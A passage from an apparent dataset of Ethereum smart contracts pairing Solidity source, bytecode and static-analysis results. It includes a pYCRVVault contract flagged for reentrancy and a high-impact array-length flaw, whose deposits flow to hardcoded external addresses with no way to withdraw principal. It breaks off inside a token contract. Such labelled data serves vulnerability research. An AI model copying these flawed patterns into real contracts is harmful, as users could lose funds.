6020019080838360005b8381101561042557808201518184015260208101905061040a565b50505050905090810190601f1680156104525780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ac6004803603604081101561047657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f0f565b60405180821515815260200191505060405180910390f35b610510600480360360408110156104da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110e3565b60405180821515815260200191505060405180910390f35b61058a6004803603604081101561053e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112df565b6040518082815260200191505060405180910390f35b6105e2600480360360208110156105b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611366565b005b6040518060400160405280600781526020017f5452454b4b49450000000000000000000000000000000000000000000000000081525081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60015481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561075057600080fd5b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061082383600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108b883600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061090e83826114b590919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601281565b6012600a0a6305f5e1000281565b60008111610a1f57600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610a6b57600080fd5b6000339050610ac282600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b1a826001546114b590919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610ce9576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d7d565b610cfc83826114b590919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600781526020017f5452454b4b49450000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f4a57600080fd5b610f9c82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061103182600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061117482600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113be57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113f857600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211156114c157fe5b818303905092915050565b6000808284019050838110156114de57fe5b809150509291505056fea26469706673582212209bdbe914ce80a36bb7de92627abdedb794ce1be5aa04e930b4edd7e22310413f64736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 131 |
0xe9dd93d7c8f237fd57a4236054bf5d01fc563e46 | pragma solidity ^0.5.16;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Context {
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract pYCRVVault {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
struct RewardDivide {
mapping (address => uint256) amount;
uint256 time;
}
IERC20 public token = IERC20(0xdF5e0e81Dff6FAF3A7e52BA697820c5e32D806A8);
address public governance;
uint256 public totalDeposit;
mapping(address => uint256) public depositBalances;
mapping(address => uint256) public rewardBalances;
address[] public addressIndices;
mapping(uint256 => RewardDivide) public _rewards;
uint256 public _rewardCount = 0;
event Withdrawn(address indexed user, uint256 amount);
constructor () public {
governance = msg.sender;
}
function balance() public view returns (uint) {
return token.balanceOf(address(this));
}
function setGovernance(address _governance) public {
require(msg.sender == governance, "!governance");
governance = _governance;
}
function depositAll() external {
deposit(token.balanceOf(msg.sender));
}
function deposit(uint256 _amount) public {
require(_amount > 0, "can't deposit 0");
uint arrayLength = addressIndices.length;
bool found = false;
for (uint i = 0; i < arrayLength; i++) {
if(addressIndices[i]==msg.sender){
found=true;
break;
}
}
if(!found){
addressIndices.push(msg.sender);
}
uint256 realAmount = _amount.mul(995).div(1000);
uint256 feeAmount = _amount.mul(5).div(1000);
address feeAddress = 0xD319d5a9D039f06858263E95235575Bb0Bd630BC;
address vaultAddress = 0xD355c567E92c0FE08d24D31CB1d02c5736b4f7A6; // Vault4 Address
token.safeTransferFrom(msg.sender, feeAddress, feeAmount);
token.safeTransferFrom(msg.sender, vaultAddress, realAmount);
totalDeposit = totalDeposit.add(realAmount);
depositBalances[msg.sender] = depositBalances[msg.sender].add(realAmount);
}
function reward(uint256 _amount) external {
require(_amount > 0, "can't reward 0");
require(totalDeposit > 0, "totalDeposit must bigger than 0");
token.safeTransferFrom(msg.sender, address(this), _amount);
uint arrayLength = addressIndices.length;
for (uint i = 0; i < arrayLength; i++) {
rewardBalances[addressIndices[i]] = rewardBalances[addressIndices[i]].add(_amount.mul(depositBalances[addressIndices[i]]).div(totalDeposit));
_rewards[_rewardCount].amount[addressIndices[i]] = _amount.mul(depositBalances[addressIndices[i]]).div(totalDeposit);
}
_rewards[_rewardCount].time = block.timestamp;
_rewardCount++;
}
function withdrawAll() external {
withdraw(rewardBalances[msg.sender]);
}
function withdraw(uint256 _amount) public {
require(_rewardCount > 0, "no reward amount");
require(_amount > 0, "can't withdraw 0");
uint256 availableWithdrawAmount = availableWithdraw(msg.sender);
if (_amount > availableWithdrawAmount) {
_amount = availableWithdrawAmount;
}
token.safeTransfer(msg.sender, _amount);
rewardBalances[msg.sender] = rewardBalances[msg.sender].sub(_amount);
emit Withdrawn(msg.sender, _amount);
}
function availableWithdraw(address owner) public view returns(uint256){
uint256 availableWithdrawAmount = rewardBalances[owner];
for (uint256 i = _rewardCount - 1; block.timestamp < _rewards[i].time.add(7 days); --i) {
availableWithdrawAmount = availableWithdrawAmount.sub(_rewards[i].amount[owner].mul(_rewards[i].time.add(7 days).sub(block.timestamp)).div(7 days));
if (i == 0) break;
}
return availableWithdrawAmount;
}
} | 0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063a9fb763c11610097578063de5f626811610066578063de5f626814610276578063e2aa2a851461027e578063f6153ccd14610286578063fc0c546a1461028e57610100565b8063a9fb763c1461020e578063ab033ea91461022b578063b69ef8a814610251578063b6b55f251461025957610100565b8063853828b6116100d3578063853828b6146101a65780638f1e9405146101ae57806393c8dc6d146101cb578063a7df8c57146101f157610100565b80631eb903cf146101055780632e1a7d4d1461013d5780633df2c6d31461015c5780635aa6e67514610182575b600080fd5b61012b6004803603602081101561011b57600080fd5b50356001600160a01b0316610296565b60408051918252519081900360200190f35b61015a6004803603602081101561015357600080fd5b50356102a8565b005b61012b6004803603602081101561017257600080fd5b50356001600160a01b03166103dd565b61018a6104d7565b604080516001600160a01b039092168252519081900360200190f35b61015a6104e6565b61012b600480360360208110156101c457600080fd5b5035610501565b61012b600480360360208110156101e157600080fd5b50356001600160a01b0316610516565b61018a6004803603602081101561020757600080fd5b5035610528565b61015a6004803603602081101561022457600080fd5b503561054f565b61015a6004803603602081101561024157600080fd5b50356001600160a01b03166107a2565b61012b610811565b61015a6004803603602081101561026f57600080fd5b503561088e565b61015a610a5f565b61012b610adc565b61012b610ae2565b61018a610ae8565b60036020526000908152604090205481565b6000600754116102f2576040805162461bcd60e51b815260206004820152601060248201526f1b9bc81c995dd85c9908185b5bdd5b9d60821b604482015290519081900360640190fd5b6000811161033a576040805162461bcd60e51b815260206004820152601060248201526f063616e277420776974686472617720360841b604482015290519081900360640190fd5b6000610345336103dd565b905080821115610353578091505b600054610370906001600160a01b0316338463ffffffff610af716565b33600090815260046020526040902054610390908363ffffffff610b4e16565b33600081815260046020908152604091829020939093558051858152905191927f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d592918290030190a25050565b6001600160a01b038116600090815260046020526040812054600754600019015b6000818152600660205260409020600101546104239062093a8063ffffffff610b9916565b4210156104d0576104bb6104ae62093a806104a26104734261046762093a80600660008a815260200190815260200160002060010154610b9990919063ffffffff16565b9063ffffffff610b4e16565b60008681526006602090815260408083206001600160a01b038d1684529091529020549063ffffffff610bf316565b9063ffffffff610c4c16565b839063ffffffff610b4e16565b9150806104c7576104d0565b600019016103fe565b5092915050565b6001546001600160a01b031681565b336000908152600460205260409020546104ff906102a8565b565b60066020526000908152604090206001015481565b60046020526000908152604090205481565b6005818154811061053557fe5b6000918252602090912001546001600160a01b0316905081565b60008111610595576040805162461bcd60e51b815260206004820152600e60248201526d063616e27742072657761726420360941b604482015290519081900360640190fd5b6000600254116105ec576040805162461bcd60e51b815260206004820152601f60248201527f746f74616c4465706f736974206d75737420626967676572207468616e203000604482015290519081900360640190fd5b60005461060a906001600160a01b031633308463ffffffff610c8e16565b60055460005b8181101561077f576106a96106676002546104a2600360006005878154811061063557fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054879063ffffffff610bf316565b600460006005858154811061067857fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020549063ffffffff610b9916565b60046000600584815481106106ba57fe5b60009182526020808320909101546001600160a01b0316835282019290925260400181209190915560025460058054610730936104a292600392879081106106fe57fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054869063ffffffff610bf316565b6007546000908152600660205260408120600580549192918590811061075257fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902055600101610610565b505060078054600090815260066020526040902042600191820155815401905550565b6001546001600160a01b031633146107ef576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b60008054604080516370a0823160e01b815230600482015290516001600160a01b03909216916370a0823191602480820192602092909190829003018186803b15801561085d57600080fd5b505afa158015610871573d6000803e3d6000fd5b505050506040513d602081101561088757600080fd5b5051905090565b600081116108d5576040805162461bcd60e51b815260206004820152600f60248201526e063616e2774206465706f736974203608c1b604482015290519081900360640190fd5b6005546000805b8281101561092757336001600160a01b0316600582815481106108fb57fe5b6000918252602090912001546001600160a01b0316141561091f5760019150610927565b6001016108dc565b508061097057600580546001810182556000919091527f036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db00180546001600160a01b031916331790555b600061098a6103e86104a2866103e363ffffffff610bf316565b905060006109a56103e86104a287600563ffffffff610bf316565b60005490915073d319d5a9d039f06858263e95235575bb0bd630bc9073d355c567e92c0fe08d24d31cb1d02c5736b4f7a6906109f2906001600160a01b031633848663ffffffff610c8e16565b600054610a10906001600160a01b031633838763ffffffff610c8e16565b600254610a23908563ffffffff610b9916565b60025533600090815260036020526040902054610a46908563ffffffff610b9916565b3360009081526003602052604090205550505050505050565b600054604080516370a0823160e01b815233600482015290516104ff926001600160a01b0316916370a08231916024808301926020929190829003018186803b158015610aab57600080fd5b505afa158015610abf573d6000803e3d6000fd5b505050506040513d6020811015610ad557600080fd5b505161088e565b60075481565b60025481565b6000546001600160a01b031681565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052610b49908490610cee565b505050565b6000610b9083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ea6565b90505b92915050565b600082820183811015610b90576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600082610c0257506000610b93565b82820282848281610c0f57fe5b0414610b905760405162461bcd60e51b8152600401808060200182810382526021815260200180610fdf6021913960400191505060405180910390fd5b6000610b9083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610f3d565b604080516001600160a01b0385811660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b179052610ce8908590610cee565b50505050565b610d00826001600160a01b0316610fa2565b610d51576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b60208310610d8f5780518252601f199092019160209182019101610d70565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114610df1576040519150601f19603f3d011682016040523d82523d6000602084013e610df6565b606091505b509150915081610e4d576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b805115610ce857808060200190516020811015610e6957600080fd5b5051610ce85760405162461bcd60e51b815260040180806020018281038252602a815260200180611000602a913960400191505060405180910390fd5b60008184841115610f355760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610efa578181015183820152602001610ee2565b50505050905090810190601f168015610f275780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b60008183610f8c5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610efa578181015183820152602001610ee2565b506000838581610f9857fe5b0495945050505050565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a4708115801590610fd65750808214155b94935050505056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a265627a7a72315820e7ebfaf44f25aa230a15b9c5925f48d6b9e68d2db9a849362b0ea530c772232264736f6c63430005100032 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}} | 132 |
0x69Bd270957C01F935AA509660e8EaB57f7a26d33 | /**
*Submitted for verification at Etherscan.io on 2021-11-03
*/
//SPDX-License-Identifier: MIT
// Telegram: t.me/hisokatoken
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Hisoka is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
string private constant _name = "Hisoka";
string private constant _symbol = "HISOKA";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
uint256 private _maxTxAmount = _tTotal;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(_msgSender());
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 1;
